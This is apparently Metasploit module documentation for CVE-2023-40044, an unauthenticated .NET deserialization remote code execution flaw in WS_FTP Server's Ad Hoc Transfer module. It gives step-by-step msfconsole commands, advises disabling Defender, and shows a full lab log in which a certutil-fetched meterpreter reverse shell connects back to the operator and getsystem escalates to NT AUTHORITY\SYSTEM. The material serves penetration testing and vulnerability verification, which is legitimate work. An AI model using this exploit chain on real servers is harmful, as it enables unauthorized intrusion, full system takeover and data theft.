## Vulnerable Application
This module exploits an unsafe .NET deserialization vulnerability to achieve unauthenticated remote code
execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP Server
prior to 2020.0.4 (version 8.7.4) and 2022.0.2 (version 8.8.2) are vulnerable to this issue. The vulnerability was
originally discovered by AssetNote.

For a full technical analysis of the vulnerability read the
[Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/bn32f9sNax/cve-2023-40044/rapid7-analysis).

## Testing
Download and install a vulnerable version of WS_FTP server. By default the server will listen for HTTPS connections
on port 443. The vulnerability is in the Ad Hoc Transfer module which is installed by default. This exploit
module was tested against WS_FTP Server 2020.0.1 (version 8.7.1) and WS_FTP Server 2022.0.1 (version 8.8.1).

## Verification Steps
Note: Disable Defender if you are using the default payloads.

Steps:
1. Start msfconsole
2. `use exploit/windows/http/ws_ftp_rce_cve_2023_40044`
3. `set LHOST eth0`
4. `set RHOST <TARGET_IP>`
5. `check`
6. `exploit`

## Scenarios

### Windows
```
msf exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set LHOST eth0
LHOST => eth0
msf exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set RHOST 192.168.86.47
RHOST => 192.168.86.47
msf exploit(windows/http/ws_ftp_rce_cve_2023_40044) > show options

Module options (exploit/windows/http/ws_ftp_rce_cve_2023_40044):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS      192.168.86.47    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
                                          cs/using-metasploit.html
   RPORT       443              yes       The target port (TCP)
   SSL         true             no        Negotiate SSL/TLS for outgoing connections
   TARGET_URI  /AHT/            no        Target URI used to exploit the deserialization vulnerability. Must begin with
                                          /AHT/
   VHOST                        no        HTTP server virtual host


Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   FETCH_COMMAND       CERTUTIL         yes       Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      BkxJVzFxHwL      no        Name to use on remote system when storing payload; cannot contain spac
                                                  es.
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               eth0             yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows



View the full module info with the info, or info -d command.

msf exploit(windows/http/ws_ftp_rce_cve_2023_40044) > check
[*] 192.168.86.47:443 - The target appears to be vulnerable. Detected a build date of 27-8-2021
msf exploit(windows/http/ws_ftp_rce_cve_2023_40044) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected a build date of 27-8-2021
[*] Sending stage (200774 bytes) to 192.168.86.47
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.47:61513) at 2023-10-04 17:00:10 +0100

meterpreter > sysinfo
Computer        : WIN-9SIICLTVVC7
OS              : Windows 2016+ (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 4
Meterpreter     : x64/windows
meterpreter > pwd
C:\Windows\SysWOW64\inetsrv
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > getsystem
...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
```
